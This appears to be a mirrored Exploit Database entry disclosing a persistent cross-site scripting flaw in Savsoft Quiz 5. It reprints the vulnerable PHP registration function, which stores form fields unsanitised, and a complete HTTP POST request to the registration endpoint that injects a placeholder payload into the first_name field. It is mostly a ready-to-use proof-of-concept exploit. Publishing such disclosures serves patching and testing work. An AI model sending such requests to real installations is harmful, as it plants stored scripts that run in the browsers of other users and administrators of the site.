Savsoft Quiz 5 – Persistent Cross-Site Scripting

• Exploit Database
• 34 阅读

• 作者： th3d1gger
  日期： 2020-07-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48658/

• # Exploit Title: Savsoft Quiz 5 - Persistent Cross-Site Scripting
  # Date: 2020-07-09
  # Exploit Author: Ogulcan Unveren(th3d1gger)
  # Vendor Homepage:https://savsoftquiz.com/
  # Software Link:https://github.com/savsofts/savsoftquiz_v5.git
  # Version: 5.0
  # Tested on: Kali Linux
  
  ---Vulnerable Source Code----
  function insert_user_2(){
  
  		$userdata=array(
  		'email'=>$this->input->post('email'),
  		'password'=>md5($this->input->post('password')),
  		'first_name'=>$this->input->post('first_name'),
  		'last_name'=>$this->input->post('last_name'),
  		'contact_no'=>$this->input->post('contact_no'),
  		'gid'=>implode(',',$this->input->post('gid')),
  		'su'=>'2'
  		);
  		$veri_code=rand('1111','9999');
  		 if($this->config->item('verify_email')){
  			$userdata['verify_code']=$veri_code;
  		 }
  		 		if($this->session->userdata('logged_in_raw')){
  					$userraw=$this->session->userdata('logged_in_raw');
  					$userraw_uid=$userraw['uid'];
  					$this->db->where('uid',$userraw_uid);
  				$rresult=$this->db->update('savsoft_users',$userdata);
  				if($this->session->userdata('logged_in_raw')){
  				$this->session->unset_userdata('logged_in_raw');
  				}
  				}else{
  
  		$rresult=$this->db->insert('savsoft_users',$userdata);
  		$uid=$this->db->insert_id();
  		foreach($_POST['custom'] as $ck => $cv){
  			if($cv != ''){
  		$savsoft_users_custom=array(
  		'field_id'=>$ck,
  		'uid'=>$uid,
  		'field_values'=>$cv
  		);
  		$this->db->insert('savsoft_users_custom',$savsoft_users_custom);
  			}
  		}
  
  
  
  
  ----Vulnerable Request---
  POST /index.php/login/insert_user/ HTTP/1.1
  Host: savsoftquiz_v5
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: http://192.168.1.2/index.php/login/registration/
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 231
  Connection: close
  Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv
  Upgrade-Insecure-Requests: 1
  
  email=hello%40gmail.com&password=password&first_name=XSSPAYLOAD&last_name=test&contact_no=05785555555&gid%5B%5D=1